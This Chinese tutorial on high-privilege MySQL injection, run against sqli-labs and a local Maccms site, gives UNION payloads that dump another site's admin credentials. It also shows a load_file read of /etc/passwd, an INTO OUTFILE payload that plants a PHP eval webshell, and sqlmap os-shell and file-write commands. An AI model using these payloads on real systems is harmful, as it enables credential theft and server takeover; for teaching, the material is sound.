zl程序教程

您现在的位置是:首页 >  其他

当前栏目

WEB漏洞攻防 - SQL注入 - 高权限注入

2023-09-14 09:14:27 时间

高权限注入

在数据库中区分有数据库系统用户与数据库普通用户,二者的划分主要体现在对一些高级函数与资源表的访问权限上。直白一些就是高权限系统用户拥有整个数据库的操作权限,而普通用户只拥有部分已配置的权限。

举个例子,网站在创建的时候会调用数据库链接,会区分系统用户链接与普通用户链接;当多个网站存在一个数据库的时候,root就拥有最高权限可以对多个网站进行管辖,普通用户仅拥有当前网站和配置的部分权限。所以当我们获取到普通用户权限时,我们只拥有单个数据库权限,甚至文件读写失败;取得高权限用户权限,不仅可以查看所有数据库,还可以对服务器文件进行读写操作。


系统用户 : 所有数据库可看,文件读写正常。

普通用户 : 单个数据库可看,文件读写失败。

跨库查询:高权限注入的危害之一


A网站采用同一数据库系统用户 root 链接。
B网站采用同一数据库系统用户 root 链接。
C网站采用同一数据库系统用户 root 链接。
如果某个网站出现注入,所有网站数据均泄露。


A网站采用同一数据库普通用户链接。
B网站采用同一数据库普通用户链接。
C网站采用同一数据库普通用户链接。
如果某个网站出现注入,其他网站不受影响。

高权限的可操作范围:


注册表操作

所有数据库可查

命令执行操作

文件读写操作

附:不同数据库可操作性不一样[高权限具体能操作的事情要看数据类型,根据数据库自身的特性来决定的]

MYSQL跨库-手工演示对比工具说明

场景说明:A存在高权限注入导致同一数据库其他WEB应用数据泄露

WEB应用A-http://127.0.0.1:8081/sqlilabs/
WEB应用B-http://127.0.0.1:8081/maccms8/
  • 按正常情况来看,两个网站是互不相干的;但是两个网站的数据库是放在同一个MYSQL下面。

在这里插入图片描述


在这里插入图片描述


  • 场景分析

数据库[MYSQL]

	数据库A = SQLILABS

	数据库B = 苹果CMS

实现SQLILABS靶场的注入点获取到苹果CMS网站的数据

  • 在注入点查看当前用户权限 [为 root 权限,满足跨库的条件] - [msssql的高权限用户为 sa\sysadmin]

payload -1 union select 1,user(),3--+


在这里插入图片描述


  • 先获取数据库名[这里的数据库名指的并不是"database()"当前数据库名),然后获取对应数据库名下的表名或列名信息]

payload -1 union select 1,group_concat(SCHEMA_NAME),3 from information_schema.schemata--+


在这里插入图片描述


  • 获取 “maccms” 数据库下的所有表名信息

payload -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='maccms'--+


在这里插入图片描述


  • 获取 “mac_manager” 表下的列名信息

payload -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='mac_manager' and table_schema='maccms'--+


在这里插入图片描述


  • 获取 “m_name、m_password” 信息

payload -1 union select 1,m_name,m_password from maccms.mac_manager--+

  • 这里需要注意的是,当金星跨库查询的时候,需要带上要查询的数据库的名字[因为默认查询的是当前数据库,所以需要指定跨库的库名]

在这里插入图片描述


MYSQL读写[高权限]

场景说明:WEB应用存在高权限注入点导致文件直接读写(后门植入)

  • 读取 "/etc/passwd"信息

http://139.196.87.102:11207/Less-2/?id=-1%20union%20select%201,load_file(%27/etc/passwd%27),3--+


在这里插入图片描述


  • 写入一句话后门[这里读取文件我是读取的服务器上的文件,写入一句话是写入在电脑本地的靶场]

http://127.0.0.1:8888/Less-2/?id=-1 union select 1,<?php eval($_POST[x])>,3 into outfile 'D:/phpstudy/PHPTutorial/WWW/shell.php'--+


在这里插入图片描述


重点:WEB应用路径获取:说明文件[phpinfo.php 搜索 “script_filename”],报错显示,特定源码爆出,配合读取中间件配置,爆破等。

SQLMAP高权限注入常用命令

 SQLMAP

    --current-user 当前用户
    --is-dba 是否为管理员
    --file-read  从服务器读入 
    --file-write 从本地写入 
    --file-dest  写入目标路径
    --sql-shell  执行sql命令终端
    --os-shell  执行shell终端
    --os-cmd=ver 自定义命令
    --os-cmd=OSCMD//执行操作系统命令
    --os-shell //反弹一个osshell
    --os-pwn //pwn,反弹msf下的shell或者vnc
    --os-smbrelay //反弹msf下的shell或者vnc
    --os-bof //存储过程缓存溢出
    --priv-esc //数据库提权
    –reg-read –reg-add –reg-del –reg-key	//读取注册表
    --reg-value --reg-data --reg-type


    
    python sqlmap.py -u "http://127.0.0.1:8081/sqlilabs/Less-2/?id=1" --file-read "d:/test.txt"
    python sqlmap.py -u "http://127.0.0.1:8081/sqlilabs/Less-2/?id=1" --file-write "f:/host.txt" --file-dest "D:/phpstudy/PHPTutorial/WWW/sqlilabs/1.txt"
    python sqlmap.py -u "http://127.0.0.1:8081/sqlilabs/Less-2/?id=1" --sql-shell
    select * from mysql.user
    python sqlmap.py -u "http://127.0.0.1:8081/sqlilabs/Less-2/?id=1" --os-shell